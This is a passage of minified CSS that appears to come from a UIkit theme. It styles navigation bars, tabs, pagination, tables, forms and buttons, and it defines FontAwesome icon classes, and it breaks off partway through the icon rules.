#fff}.uk-navbar-nav>li.uk-active>a,.uk-navbar-nav>li>a:active{color:#444;border-left-color:rgba(0,0,0,.1);border-right-color:rgba(0,0,0,.1)}.uk-navbar-nav>li>a[href='#']{cursor:text}.uk-navbar-nav>li.uk-open>a,.uk-navbar-nav>li:hover>a,.uk-navbar-nav>li>a:focus{background-color:#fafafa;color:#444;outline:0;position:relative;z-index:1;border-left-color:rgba(0,0,0,.1);border-right-color:rgba(0,0,0,.1);border-top-color:rgba(0,0,0,.1)}.uk-navbar-nav>li>a:active{background-color:#eee;border-top-color:rgba(0,0,0,.2)}.uk-navbar-nav>li.uk-active>a{background-color:#fafafa;border-top-color:rgba(0,0,0,.1)}.uk-navbar-nav .uk-navbar-nav-subtitle{line-height:28px}.uk-navbar-nav-subtitle>div{margin-top:-6.5px;font-size:10px;line-height:12px}.uk-navbar-brand,.uk-navbar-toggle{font-size:17px;text-decoration:none}.uk-navbar-brand,.uk-navbar-content,.uk-navbar-toggle{box-sizing:border-box;display:block;height:41px;padding:0 15px;float:left;margin-top:-1px;text-shadow:0 1px 0 #fff}.uk-navbar-brand:before,.uk-navbar-content:before,.uk-navbar-toggle:before{content:'';display:inline-block;height:100%;vertical-align:middle}.uk-navbar-content+.uk-navbar-content:not(.uk-navbar-center){padding-left:0}.uk-navbar-content>a:not([class]){color:#337ab7}.uk-navbar-content>a:not([class]):hover{color:#23527c}.uk-navbar-brand{color:#444}.uk-navbar-brand:focus,.uk-navbar-brand:hover{color:#444;text-decoration:none;outline:0}.uk-navbar-toggle{color:#444}.uk-navbar-toggle:focus,.uk-navbar-toggle:hover{color:#444;text-decoration:none;outline:0}.uk-navbar-toggle:after{content:"\f0c9";font-family:FontAwesome;vertical-align:middle}.uk-navbar-toggle-alt:after{content:"\f002"}.uk-navbar-center{float:none;text-align:center;max-width:50%;margin-left:auto;margin-right:auto}.uk-navbar-flip{float:right}.uk-navbar-nav:first-child>li:first-child>a{border-top-left-radius:2px;border-bottom-left-radius:2px}.uk-navbar-flip .uk-navbar-nav>li>a{margin-left:0;margin-right:-1px}.uk-navbar-flip .uk-navbar-nav:first-child>li:first-child>a{border-top-left-radius:0;border-bottom-left-radius:0}.uk-navbar-flip .uk-navbar-nav:last-child>li:last-child>a{border-top-right-radius:2px;border-bottom-right-radius:2px}.uk-navbar-attached{border-top-color:transparent;border-left-color:transparent;border-right-color:transparent;border-radius:0}.uk-navbar-attached .uk-navbar-nav>li>a{border-radius:0!important}.uk-subnav{display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap;margin-left:-10px;margin-top:-10px;padding:0;list-style:none}.uk-subnav>*{-ms-flex:none;-webkit-flex:none;flex:none;padding-left:10px;margin-top:10px;position:relative;float:left}.uk-subnav:after,.uk-subnav:before{content:"";display:block;overflow:hidden}.uk-breadcrumb>li,.uk-breadcrumb>li>a,.uk-breadcrumb>li>span,.uk-subnav-line>:before,.uk-subnav>*>*{display:inline-block}.uk-subnav>*>*{color:#444}.uk-subnav>*>:focus,.uk-subnav>*>:hover{color:#337ab7;text-decoration:none}.uk-subnav>.uk-active>*{color:#337ab7}.uk-subnav-line>:before{content:"";height:10px;vertical-align:middle}.uk-breadcrumb>li,.uk-pagination>li,.uk-table td{vertical-align:top}.uk-subnav-line>:nth-child(n+2):before{margin-right:10px;border-left:1px solid #ddd}.uk-subnav-pill>*>*{padding:3px 9px;border-radius:2px}.uk-subnav-pill>*>:focus,.uk-subnav-pill>*>:hover{background:#fafafa;color:#444;text-decoration:none;outline:0;box-shadow:0 0 0 1px rgba(0,0,0,.15)}.uk-subnav-pill>.uk-active>*{background:#337ab7;color:#fff;box-shadow:inset 0 0 5px rgba(0,0,0,.05)}.uk-subnav>.uk-disabled>*{background:0 0;color:#999;text-decoration:none;cursor:text;box-shadow:none}.uk-breadcrumb{padding:0;list-style:none;font-size:0}.uk-breadcrumb>li{font-size:1rem}.uk-breadcrumb>li:nth-child(n+2):before{content:"/";display:inline-block;margin:0 8px}.uk-breadcrumb>li:not(.uk-active)>span{color:#999}.uk-pagination{padding:0;list-style:none;text-align:center;font-size:0}.uk-pagination:after,.uk-pagination:before{content:"";display:table}.uk-pagination>li{display:inline-block;font-size:1rem}.uk-pagination>li:nth-child(n+2){margin-left:5px}.uk-pagination>li>a,.uk-pagination>li>span{display:inline-block;min-width:16px;padding:3px 5px;line-height:20px;text-decoration:none;box-sizing:content-box;text-align:center;border:1px solid rgba(0,0,0,.06);border-radius:2px}.uk-pagination>li>a{background:#f5f5f5;color:#444;text-shadow:0 1px 0 #fff}.uk-pagination>li>a:focus,.uk-pagination>li>a:hover{background-color:#fafafa;color:#444;outline:0;border-color:rgba(0,0,0,.16)}.uk-pagination>li>a:active{background-color:#eee;color:#444}.uk-pagination>.uk-active>span{background:#337ab7;color:#fff;border-color:transparent;box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-pagination>.uk-disabled>span{background-color:#fafafa;color:#999;border:1px solid rgba(0,0,0,.06);text-shadow:0 1px 0 #fff}.uk-pagination-previous{float:left}.uk-pagination-next{float:right}.uk-pagination-left{text-align:left}.uk-pagination-right{text-align:right}.uk-tab-center .uk-tab>li>a,.uk-tab-center .uk-tab>li>button,.uk-tab-grid>li>a,.uk-tab-grid>li>button{text-align:center}.uk-tab{margin:0;padding:0;list-style:none;border-bottom:1px solid #ddd}.uk-tab:after,.uk-tab:before{content:"";display:table}.uk-tab>li{margin-bottom:-1px;float:left;position:relative}.uk-alert>.uk-close:first-child,.uk-tab-center .uk-tab,.uk-tab-flip>li{float:right}.uk-tab>li>a,.uk-tab>li>button{display:block;padding:8px 12px;border:1px solid transparent;border-bottom-width:0;color:#337ab7;text-decoration:none;border-radius:2px 2px 0 0;text-shadow:0 1px 0 #fff}.uk-tab>li:nth-child(n+2)>a,.uk-tab>li:nth-child(n+2)>button{margin-left:5px}.uk-tab>li.uk-open>a,.uk-tab>li.uk-open>button,.uk-tab>li>a:focus,.uk-tab>li>a:hover,.uk-tab>li>button:focus,.uk-tab>li>button:hover{border-color:rgba(0,0,0,.06);background:#f5f5f5;color:#23527c;outline:0}.uk-tab>li.uk-open:not(.uk-active)>a,.uk-tab>li.uk-open:not(.uk-active)>button,.uk-tab>li:not(.uk-active)>a:focus,.uk-tab>li:not(.uk-active)>a:hover,.uk-tab>li:not(.uk-active)>button:focus,.uk-tab>li:not(.uk-active)>button:hover{margin-bottom:1px;padding-bottom:7px}.uk-tab>li.uk-active>a,.uk-tab>li.uk-active>button{border-color:#ddd #ddd transparent;background:#fff;color:#444}.uk-tab>li.uk-disabled>a,.uk-tab>li.uk-disabled>button{color:#999;cursor:text}.uk-tab>li.uk-disabled.uk-active>a,.uk-tab>li.uk-disabled.uk-active>button,.uk-tab>li.uk-disabled>a:focus,.uk-tab>li.uk-disabled>a:hover,.uk-tab>li.uk-disabled>button:focus,.uk-tab>li.uk-disabled>button:hover{background:0 0;border-color:transparent}.uk-tab-flip>li:nth-child(n+2)>a,.uk-tab-flip>li:nth-child(n+2)>button{margin-left:0;margin-right:5px}.uk-tab>li.uk-tab-responsive>a,.uk-tab>li.uk-tab-responsive>button{margin-left:0;margin-right:0}.uk-tab-responsive>a:before,.uk-tab-responsive>button:before{content:"\f0c9\00a0";font-family:FontAwesome}.uk-tab-center{border-bottom:1px solid #ddd}.uk-tab-center-bottom{border-bottom:none;border-top:1px solid #ddd}.uk-tab-center:after,.uk-tab-center:before{content:"";display:table}.uk-tab-center:after{clear:both}.uk-tab-center .uk-tab{position:relative;right:50%;border:none}.uk-tab-center .uk-tab>li{position:relative;right:-50%}.uk-tab-bottom{border-top:1px solid #ddd;border-bottom:none}.uk-tab-bottom>li{margin-top:-1px;margin-bottom:0}.uk-tab-bottom>li>a,.uk-tab-bottom>li>button{padding-top:8px;padding-bottom:8px;border-bottom-width:1px;border-top-width:0}.uk-tab-bottom>li.uk-open:not(.uk-active)>a,.uk-tab-bottom>li.uk-open:not(.uk-active)>button,.uk-tab-bottom>li:not(.uk-active)>a:focus,.uk-tab-bottom>li:not(.uk-active)>a:hover,.uk-tab-bottom>li:not(.uk-active)>button:focus,.uk-tab-bottom>li:not(.uk-active)>button:hover{margin-bottom:0;margin-top:1px;padding-bottom:8px;padding-top:7px}.uk-tab-bottom>li.uk-active>a,.uk-tab-bottom>li.uk-active>button{border-top-color:transparent;border-bottom-color:#ddd}.uk-tab-grid{margin-left:-5px;border-bottom:none;position:relative;z-index:0}.uk-tab-grid:before{display:block;position:absolute;left:5px;right:0;bottom:-1px;border-top:1px solid #ddd;z-index:-1}.uk-tab-grid>li:first-child>a,.uk-tab-grid>li:first-child>button{margin-left:5px}.uk-tab-grid.uk-tab-bottom{border-top:none}.uk-tab-grid.uk-tab-bottom:before{top:-1px;bottom:auto}@media (min-width:768px){.uk-tab-left,.uk-tab-right{border-bottom:none}.uk-tab-left>li,.uk-tab-right>li{margin-bottom:0;float:none}.uk-tab-left>li>a,.uk-tab-right>li>a{padding-top:8px;padding-bottom:8px}.uk-tab-left>li:nth-child(n+2)>a,.uk-tab-right>li:nth-child(n+2)>a{margin-left:0;margin-top:5px}.uk-tab-left>li.uk-active>a,.uk-tab-right>li.uk-active>a{border-color:#ddd}.uk-tab-left{border-right:1px solid #ddd}.uk-tab-left>li{margin-right:-1px}.uk-tab-left>li>a{border-bottom-width:1px;border-right-width:0}.uk-tab-left>li:not(.uk-active)>a:focus,.uk-tab-left>li:not(.uk-active)>a:hover{margin-bottom:0;margin-right:1px;padding-bottom:8px;padding-right:11px}.uk-tab-left>li.uk-active>a{border-right-color:transparent}.uk-tab-right{border-left:1px solid #ddd}.uk-tab-right>li{margin-left:-1px}.uk-tab-right>li>a{border-bottom-width:1px;border-left-width:0}.uk-tab-right>li:not(.uk-active)>a:focus,.uk-tab-right>li:not(.uk-active)>a:hover{margin-bottom:0;margin-left:1px;padding-bottom:8px;padding-left:11px}.uk-tab-right>li.uk-active>a{border-left-color:transparent}}.uk-tab-bottom>li>a{border-radius:0 0 2px 2px}@media (min-width:768px){.uk-tab-left>li>a{border-radius:2px 0 0 2px}.uk-tab-right>li>a{border-radius:0 2px 2px 0}}.uk-thumbnav{display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-flex-wrap:wrap;-webkit-flex-wrap:wrap;flex-wrap:wrap;margin-left:-10px;margin-top:-10px;padding:0;list-style:none}.uk-thumbnav>*{-ms-flex:none;-webkit-flex:none;flex:none;padding-left:10px;margin-top:10px;float:left}.uk-thumbnav:after,.uk-thumbnav:before{content:"";display:block;overflow:hidden}.uk-thumbnav>*>*{display:block;background:#fff}.uk-thumbnav>*>*>img{opacity:.7;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.uk-thumbnav>*>:focus>img,.uk-thumbnav>*>:hover>img,.uk-thumbnav>.uk-active>*>img{opacity:1}.uk-list{padding:0;list-style:none}.uk-list>li:after,.uk-list>li:before{content:"";display:table}.uk-list>li>:last-child{margin-bottom:0}.uk-list ul{margin:0;padding-left:20px;list-style:none}.uk-list-line>li:nth-child(n+2){margin-top:5px;padding-top:5px;border-top:1px solid #ddd}.uk-list-striped>li{padding:5px;border-bottom:1px solid #ddd}.uk-list-striped>li:nth-of-type(odd){background:#fafafa}.uk-list-space>li:nth-child(n+2){margin-top:10px}.uk-list-striped>li:first-child{border-top:1px solid #ddd}@media (min-width:768px){.uk-description-list-horizontal{overflow:hidden}.uk-description-list-horizontal>dt{width:160px;float:left;clear:both;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.uk-description-list-horizontal>dd{margin-left:180px}}.uk-description-list-line>dt{font-weight:400}.uk-description-list-line>dt:nth-child(n+2){margin-top:5px;padding-top:5px;border-top:1px solid #ddd}.uk-description-list-line>dd{color:#999}.uk-table{border-collapse:collapse;border-spacing:0;width:100%;margin-bottom:15px}*+.uk-table{margin-top:15px}.uk-table td,.uk-table th{padding:8px;border-bottom:1px solid #ddd}.uk-table th{text-align:left}.uk-table thead th{vertical-align:bottom}.uk-table caption,.uk-table tfoot{font-size:11px;font-style:italic}.uk-table caption{text-align:left;color:#999}.uk-table tbody tr.uk-active{background:#f0f0f0}.uk-table-middle,.uk-table-middle td{vertical-align:middle!important}.uk-table-striped tbody tr:nth-of-type(odd){background:#fafafa}.uk-table-condensed td{padding:4px 8px}.uk-table-hover tbody tr:hover{background:#f0f0f0}.uk-form input,.uk-form select,.uk-form textarea{box-sizing:border-box;margin:0;border-radius:0;font:inherit;color:inherit}.uk-form select{text-transform:none}.uk-form optgroup{font:inherit;font-weight:700}.uk-form input::-moz-focus-inner{border:0;padding:0}.uk-form input[type=checkbox],.uk-form input[type=radio]{padding:0}.uk-form input[type=checkbox]:not(:disabled),.uk-form input[type=radio]:not(:disabled){cursor:pointer}.uk-form input:not([type]),.uk-form input[type=text],.uk-form input[type=password],.uk-form input[type=email],.uk-form input[type=url],.uk-form input[type=search],.uk-form input[type=tel],.uk-form input[type=number],.uk-form input[type=datetime],.uk-form textarea{-webkit-appearance:none}.uk-form input[type=search]::-webkit-search-cancel-button,.uk-form input[type=search]::-webkit-search-decoration{-webkit-appearance:none}.uk-form input[type=number]::-webkit-inner-spin-button,.uk-form input[type=number]::-webkit-outer-spin-button{height:auto}.uk-form fieldset{border:none;margin:0;padding:0}.uk-form textarea{overflow:auto;vertical-align:top}.uk-button,.uk-button-group,.uk-form input:not([type=radio]):not([type=checkbox]),.uk-form select{vertical-align:middle}.uk-form :invalid{box-shadow:none}.uk-form>:last-child{margin-bottom:0}.uk-form input:not([type]),.uk-form input[type=text],.uk-form input[type=password],.uk-form input[type=email],.uk-form input[type=url],.uk-form input[type=search],.uk-form input[type=tel],.uk-form input[type=number],.uk-form input[type=datetime],.uk-form input[type=datetime-local],.uk-form input[type=date],.uk-form input[type=month],.uk-form input[type=time],.uk-form input[type=week],.uk-form input[type=color],.uk-form select,.uk-form textarea{height:32px;max-width:100%;padding:2px 3px;border:1px solid #ddd;background:#fff;color:#444;-webkit-transition:all .2s linear;-webkit-transition-property:border,background,color,box-shadow,padding;transition:all .2s linear;transition-property:border,background,color,box-shadow,padding;border-radius:2px}.uk-form input:not([type]):focus,.uk-form input[type=text]:focus,.uk-form input[type=password]:focus,.uk-form input[type=email]:focus,.uk-form input[type=url]:focus,.uk-form input[type=search]:focus,.uk-form input[type=tel]:focus,.uk-form input[type=number]:focus,.uk-form input[type=datetime]:focus,.uk-form input[type=datetime-local]:focus,.uk-form input[type=date]:focus,.uk-form input[type=month]:focus,.uk-form input[type=time]:focus,.uk-form input[type=week]:focus,.uk-form input[type=color]:focus,.uk-form select:focus,.uk-form textarea:focus{border-color:#66afe9;outline:0;background:#f5fbfe;color:#444}.uk-form input:not([type]):disabled,.uk-form input[type=text]:disabled,.uk-form input[type=password]:disabled,.uk-form input[type=email]:disabled,.uk-form input[type=url]:disabled,.uk-form input[type=search]:disabled,.uk-form input[type=tel]:disabled,.uk-form input[type=number]:disabled,.uk-form input[type=datetime]:disabled,.uk-form input[type=datetime-local]:disabled,.uk-form input[type=date]:disabled,.uk-form input[type=month]:disabled,.uk-form input[type=time]:disabled,.uk-form input[type=week]:disabled,.uk-form input[type=color]:disabled,.uk-form select:disabled,.uk-form textarea:disabled{border-color:#ddd;background-color:#fafafa;color:#999}.uk-form :-ms-input-placeholder{color:#999!important}.uk-form ::-moz-placeholder{opacity:1;color:#999}.uk-form ::-webkit-input-placeholder{color:#999}.uk-form :disabled:-ms-input-placeholder{color:#999!important}.uk-form :disabled::-moz-placeholder{color:#999}.uk-form :disabled::-webkit-input-placeholder{color:#999}.uk-form legend{width:100%;border:0;padding:0 0 15px;font-size:17px;line-height:29px}.uk-form legend:after{content:"";display:block;border-bottom:1px solid #ddd;width:100%}input:not([type]).uk-form-small,input[type].uk-form-small,select.uk-form-small,textarea.uk-form-small{height:20px;padding:2px;font-size:11px}input:not([type]).uk-form-large,input[type].uk-form-large,select.uk-form-large,textarea.uk-form-large{height:32px;padding:4px 3px;font-size:15px}.uk-form select[multiple],.uk-form select[size],.uk-form textarea{height:auto}.uk-form-danger{border-color:#a94442!important;background:#fff7f8!important;color:#d9534f!important}.uk-form-success{border-color:#3c763d!important;background:#fafff2!important;color:#5cb85c!important}.uk-form-blank{border-color:transparent!important;border-style:dashed!important;background:0 0!important}.uk-form-blank:focus{border-color:#ddd!important}input.uk-form-width-mini{width:40px}select.uk-form-width-mini{width:65px}.uk-form-width-small{width:130px}.uk-form-width-medium{width:200px}.uk-form-width-large{width:500px}.uk-form-row:after,.uk-form-row:before{content:"";display:table}.uk-form-row+.uk-form-row{margin-top:15px}.uk-form-help-inline{display:inline-block;margin:0 0 0 10px}.uk-form-help-block{margin:5px 0 0}.uk-form-controls>:first-child{margin-top:0}.uk-form-controls>:last-child{margin-bottom:0}.uk-form-controls-condensed{margin:5px 0}.uk-form-stacked .uk-form-label{display:block;margin-bottom:5px;font-weight:700}@media (max-width:959px){.uk-form-horizontal .uk-form-label{display:block;margin-bottom:5px;font-weight:700}}@media (min-width:960px){.uk-form-horizontal .uk-form-label{width:200px;margin-top:5px;float:left}.uk-form-horizontal .uk-form-controls{margin-left:215px}.uk-form-horizontal .uk-form-controls-text{padding-top:5px}}.uk-form-icon{display:inline-block;position:relative;max-width:100%}.uk-form-icon>[class*=uk-icon-]{position:absolute;top:50%;width:30px;margin-top:-7px;font-size:13px;color:#999;text-align:center;pointer-events:none}.uk-button-group,.uk-button-group .uk-button.uk-active,.uk-button-group .uk-button:active,.uk-button-group .uk-button:hover,.uk-overlay{position:relative}.uk-button,.uk-close{margin:0;overflow:visible;display:inline-block;text-transform:none;text-align:center;-webkit-appearance:none}.uk-form-icon:not(.uk-form-icon-flip)>input{padding-left:30px!important}.uk-form-icon-flip>[class*=uk-icon-]{right:0}.uk-form-icon-flip>input{padding-right:30px!important}.uk-button::-moz-focus-inner{border:0;padding:0}.uk-button{border:none;font:inherit;color:#444;box-sizing:border-box;padding:0 12px;background:#f5f5f5;line-height:30px;min-height:32px;font-size:1rem;text-decoration:none;border:1px solid rgba(0,0,0,.06);border-radius:2px;text-shadow:0 1px 0 #fff}.uk-button:not(:disabled){cursor:pointer}.uk-button:focus,.uk-button:hover{background-color:#fafafa;color:#444;outline:0;text-decoration:none;border-color:rgba(0,0,0,.16)}.uk-button.uk-active,.uk-button:active{background-color:#eee;color:#444}.uk-button-primary{background-color:#337ab7;color:#fff}.uk-button-primary:focus,.uk-button-primary:hover{background-color:#286090;color:#fff}.uk-button-primary.uk-active,.uk-button-primary:active{background-color:#0091ca;color:#fff}.uk-button-success{background-color:#5cb85c;color:#fff}.uk-button-success:focus,.uk-button-success:hover{background-color:#449d44;color:#fff}.uk-button-success.uk-active,.uk-button-success:active{background-color:#72ae41;color:#fff}.uk-button-danger{background-color:#d9534f;color:#fff}.uk-button-danger:focus,.uk-button-danger:hover{background-color:#c9302c;color:#fff}.uk-button-danger.uk-active,.uk-button-danger:active{background-color:#c91032;color:#fff}.uk-button:disabled{background-color:#fafafa;color:#999;border-color:rgba(0,0,0,.06);box-shadow:none;text-shadow:0 1px 0 #fff}.uk-button-link,.uk-button-link.uk-active,.uk-button-link:active,.uk-button-link:disabled,.uk-button-link:focus,.uk-button-link:hover{border-color:transparent;background:0 0;box-shadow:none;text-shadow:none}.uk-button-link{color:#337ab7}.uk-button-link.uk-active,.uk-button-link:active,.uk-button-link:focus,.uk-button-link:hover{color:#23527c;text-decoration:underline}.uk-button-link:disabled,.uk-icon-hover{color:#999}.uk-button-link:focus{outline:dotted 1px}.uk-button-mini{min-height:18px;padding:0 6px;line-height:16px;font-size:10px}.uk-button-small{min-height:20px;padding:0 10px;line-height:18px;font-size:11px}.uk-button-large{min-height:32px;padding:0 15px;line-height:30px;font-size:15px;border-radius:3px}.uk-button-group{display:inline-block;font-size:0}.uk-button-group>*{display:inline-block}.uk-button-group .uk-button{vertical-align:top}.uk-badge,.uk-button-dropdown,.uk-close,.uk-overlay,.uk-overlay-area-content{vertical-align:middle}.uk-button-dropdown{display:inline-block;position:relative}.uk-button-danger,.uk-button-primary,.uk-button-success{box-shadow:inset 0 0 5px rgba(0,0,0,.05);text-shadow:0 -1px 0 rgba(0,0,0,.1)}.uk-button-danger:focus,.uk-button-danger:hover,.uk-button-primary:focus,.uk-button-primary:hover,.uk-button-success:focus,.uk-button-success:hover{border-color:rgba(0,0,0,.21)}.uk-button-group>.uk-button:not(:first-child):not(:last-child),.uk-button-group>div:not(:first-child):not(:last-child) .uk-button{border-left-color:rgba(0,0,0,.1);border-right-color:rgba(0,0,0,.1);border-radius:0}.uk-button-group>.uk-button:first-child,.uk-button-group>div:first-child .uk-button{border-right-color:rgba(0,0,0,.1);border-top-right-radius:0;border-bottom-right-radius:0}.uk-button-group>.uk-button:last-child,.uk-button-group>div:last-child .uk-button{border-left-color:rgba(0,0,0,.1);border-top-left-radius:0;border-bottom-left-radius:0}.uk-button-group>.uk-button:nth-child(n+2),.uk-button-group>div:nth-child(n+2) .uk-button{margin-left:-1px}@font-face{font-family:FontAwesome;src:url(../fonts/fontawesome-webfont.woff) format("woff");font-weight:400;font-style:normal}[class*=uk-icon-]{font-family:FontAwesome;display:inline-block;font-weight:400;font-style:normal;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}[class*=uk-icon-],[class*=uk-icon-]:focus,[class*=uk-icon-]:hover{text-decoration:none}.uk-icon-small{font-size:150%;vertical-align:-10%}.uk-icon-medium{font-size:200%;vertical-align:-16%}.uk-icon-large{font-size:250%;vertical-align:-22%}.uk-icon-justify{width:1em;text-align:center}.uk-icon-spin{display:inline-block;-webkit-animation:uk-rotate 2s infinite linear;animation:uk-rotate 2s infinite linear}.uk-icon-hover:hover{color:#444}.uk-icon-button{box-sizing:border-box;display:inline-block;width:35px;height:35px;border-radius:100%;background:#f5f5f5;line-height:35px;color:#444;font-size:18px;text-align:center;border:1px solid #e7e7e7;text-shadow:0 1px 0 #fff}.uk-icon-button:focus,.uk-icon-button:hover{background-color:#fafafa;color:#444;outline:0;border-color:#d3d3d3}.uk-icon-button:active{background-color:#eee;color:#444}.uk-icon-glass:before{content:"\f000"}.uk-icon-music:before{content:"\f001"}.uk-icon-search:before{content:"\f002"}.uk-icon-envelope-o:before{content:"\f003"}.uk-icon-heart:before{content:"\f004"}.uk-icon-star:before{content:"\f005"}.uk-icon-star-o:before{content:"\f006"}.uk-icon-user:before{content:"\f007"}.uk-icon-film:before{content:"\f008"}.uk-icon-th-large:before{content:"\f009"}.uk-icon-th:before{content:"\f00a"}.uk-icon-th-list:before{content:"\f00b"}.uk-icon-check:before{content:"\f00c"}.uk-close:after,.uk-icon-close:before,.uk-icon-remove:before,.uk-icon-times:before{content:"\f00d"}.uk-icon-search-plus:before{content:"\f00e"}.uk-icon-search-minus:before{content:"\f010"}.uk-icon-power-off:before{content:"\f011"}.uk-icon-signal:before{content:"\f012"}.uk-icon-cog:before,.uk-icon-gear:before{content:"\f013"}.uk-icon-trash-o:before{content:"\f014"}.uk-icon-home:before{content:"\f015"}.uk-icon-file-o:before{content:"\f016"}.uk-icon-clock-o:before{content:"\f017"}.uk-icon-road:before{content:"\f018"}.uk-icon-download:before{content:"\f019"}.uk-icon-arrow-circle-o-down:before{content:"\f01a"}.uk-icon-arrow-circle-o-up:before{content:"\f01b"}.uk-icon-inbox:before{content:"\f01c"}.uk-icon-play-circle-o:before{content:"\f01d"}.uk-icon-repeat:before,.uk-icon-rotate-right:before{content:"\f01e"}.uk-icon-refresh:before{content:"\f021"}.uk-icon-list-alt:before{content:"\f022"}.uk-icon-lock:before{content:"\f023"}.uk-icon-flag:before{content:"\f024"}.uk-icon-headphones:before{content:"\f025"}.uk-icon-volume-off:before{content:"\f026"}.uk-icon-volume-down:before{content:"\f027"}.uk-icon-volume-up:before{content:"\f028"}.uk-icon-qrcode:before{content:"\f029"}.uk-icon-barcode:before{content:"\f02a"}.uk-icon-tag:before{content:"\f02b"}.uk-icon-tags:before{content:"\f02c"}.uk-icon-book:before{content:"\f02d"}.uk-icon-bookmark:before{content:"\f02e"}.uk-icon-print:before{content:"\f02f"}.uk-icon-camera:before{content:"\f030"}.uk-icon-font:before{content:"\f031"}.uk-icon-bold:before{content:"\f032"}.uk-icon-italic:before{content:"\f033"}.uk-icon-text-height:before{content:"\f034"}.uk-icon-text-width:before{content:"\f035"}.uk-icon-align-left:before{content:"\f036"}.uk-icon-align-center:before{content:"\f037"}.uk-icon-align-right:before{content:"\f038"}.uk-icon-align-justify:before{content:"\f039"}.uk-icon-list:before{content:"\f03a"}.uk-icon-dedent:before,.uk-icon-outdent:before{content:"\f03b"}.uk-icon-indent:before{content:"\f03c"}.uk-icon-video-camera:before{content:"\f03d"}.uk-icon-image:before,.uk-icon-photo:before,.uk-icon-picture-o:before{content:"\f03e"}.uk-icon-pencil:before{content:"\f040"}.uk-icon-map-marker:before{content:"\f041"}.uk-icon-adjust:before{content:"\f042"}.uk-icon-tint:before{content:"\f043"}.uk-icon-edit:before,.uk-icon-pencil-square-o:before{content:"\f044"}.uk-icon-share-square-o:before{content:"\f045"}.uk-icon-check-square-o:before{content:"\f046"}.uk-icon-arrows:before{content:"\f047"}.uk-icon-step-backward:before{content:"\f048"}.uk-icon-fast-backward:before{content:"\f049"}.uk-icon-backward:before{content:"\f04a"}.uk-icon-play:before{content:"\f04b"}.uk-icon-pause:before{content:"\f04c"}.uk-icon-stop:before{content:"\f04d"}.uk-icon-forward:before{content:"\f04e"}.uk-icon-fast-forward:before{content:"\f050"}.uk-icon-step-forward:before{content:"\f051"}.uk-icon-eject:before{content:"\f052"}.uk-icon-chevron-left:before{content:"\f053"}.uk-icon-chevron-right:before{content:"\f054"}.uk-icon-plus-circle:before{content:"\f055"}.uk-icon-minus-circle:before{content:"\f056"}.uk-icon-times-circle:before{content:"\f057"}.uk-icon-check-circle:before{content:"\f058"}.uk-icon-question-circle:before{content:"\f059"}.uk-icon-info-circle:before{content:"\f05a"}.uk-icon-crosshairs:before{content:"\f05b"}.uk-icon-times-circle-o:before{content:"\f05c"}.uk-icon-check-circle-o:before{content:"\f05d"}.uk-icon-ban:before{content:"\f05e"}.uk-icon-arrow-left:before{content:"\f060"}.uk-icon-arrow-right:before{content:"\f061"}.uk-icon-arrow-up:before{content:"\f062"}.uk-icon-arrow-down:before{content:"\f063"}.uk-icon-mail-forward:before,.uk-icon-share:before{content:"\f064"}.uk-icon-expand:before{content:"\f065"}.uk-icon-compress:before{content:"\f066"}.uk-icon-plus:before{content:"\f067"}.uk-icon-minus:before{content:"\f068"}.uk-icon-asterisk:before{content:"\f069"}.uk-icon-exclamation-circle:before{content:"\f06a"}.uk-icon-gift:before{content:"\f06b"}.uk-icon-leaf:before{content:"\f06c"}.uk-icon-fire:before{content:"\f06d"}.uk-icon-eye:before{content:"\f06e"}.uk-icon-eye-slash:before{content:"\f070"}.uk-icon-exclamation-triangle:before,.uk-icon-warning:before{content:"\f071"}.uk-icon-plane:before{content:"\f072"}.uk-icon-calendar:before{content:"\f073"}.uk-icon-random:before{content:"\f074"}.uk-icon-comment:before{content:"\f075"}.uk-icon-magnet:before{content:"\f076"}.uk-icon-chevron-up:before{content:"\f077"}.uk-icon-chevron-down:before{content:"\f078"}.uk-icon-retweet:before{content:"\f079"}.uk-icon-shopping-cart:before{content:"\f07a"}.uk-icon-folder:before{content:"\f07b"}.uk-icon-folder-open:before{content:"\f07c"}.uk-icon-arrows-v:before{content:"\f07d"}.uk-icon-arrows-h:before{content:"\f07e"}.uk-icon-bar-chart-o:before,.uk-icon-bar-chart:before{content:"\f080"}.uk-icon-twitter-square:before{content:"\f081"}.uk-icon-facebook-square:before{content:"\f082"}.uk-icon-camera-retro:before{content:"\f083"}.uk-icon-key:before{content:"\f084"}.uk-icon-cogs:before,.uk-icon-gears:before{content:"\f085"}.uk-icon-comments:before{content:"\f086"}.uk-icon-thumbs-o-up:before{content:"\f087"}.uk-icon-thumbs-o-down:before{content:"\f088"}.uk-icon-star-half:before{content:"\f089"}.uk-icon-heart-o:before{content:"\f08a"}.uk-icon-sign-out:before{content:"\f08b"}.uk-icon-linkedin-square:before{content:"\f08c"}.uk-icon-thumb-tack:before{content:"\f08d"}.uk-icon-external-link:before{content:"\f08e"}.uk-icon-sign-in:before{content:"\f090"}.uk-icon-trophy:before{content:"\f091"}.uk-icon-github-square:before{content:"\f092"}.uk-icon-upload:before{content:"\f093"}.uk-icon-lemon-o:before{content:"\f094"}.uk-icon-phone:before{content:"\f095"}.uk-icon-square-o:before{content:"\f096"}.uk-icon-bookmark-o:before{content:"\f097"}.uk-icon-phone-square:before{content:"\f098"}.uk-icon-twitter:before{content:"\f099"}.uk-icon-facebook-f:before,.uk-icon-facebook:before{content:"\f09a"}.uk-icon-github:before{content:"\f09b"}.uk-icon-unlock:before{content:"\f09c"}.uk-icon-credit-card:before{content:"\f09d"}.uk-icon-rss:before{content:"\f09e"}.uk-icon-hdd-o:before{content:"\f0a0"}.uk-icon-bullhorn:before{content:"\f0a1"}.uk-icon-bell:before{content:"\f0f3"}.uk-icon-certificate:before{content:"\f0a3"}.uk-icon-hand-o-right:before{content:"\f0a4"}.uk-icon-hand-o-left:before{content:"\f0a5"}.uk-icon-hand-o-up:before{content:"\f0a6"}.uk-icon-hand-o-down:before{content:"\f0a7"}.uk-icon-arrow-circle-left:before{content:"\f0a8"}.uk-icon-arrow-circle-right:before{content:"\f0a9"}.uk-icon-arrow-circle-up:before{content:"\f0aa"}.uk-icon-arrow-circle-down:before{content:"\f0ab"}.uk-icon-globe:before{content:"\f0ac"}.uk-icon-wrench: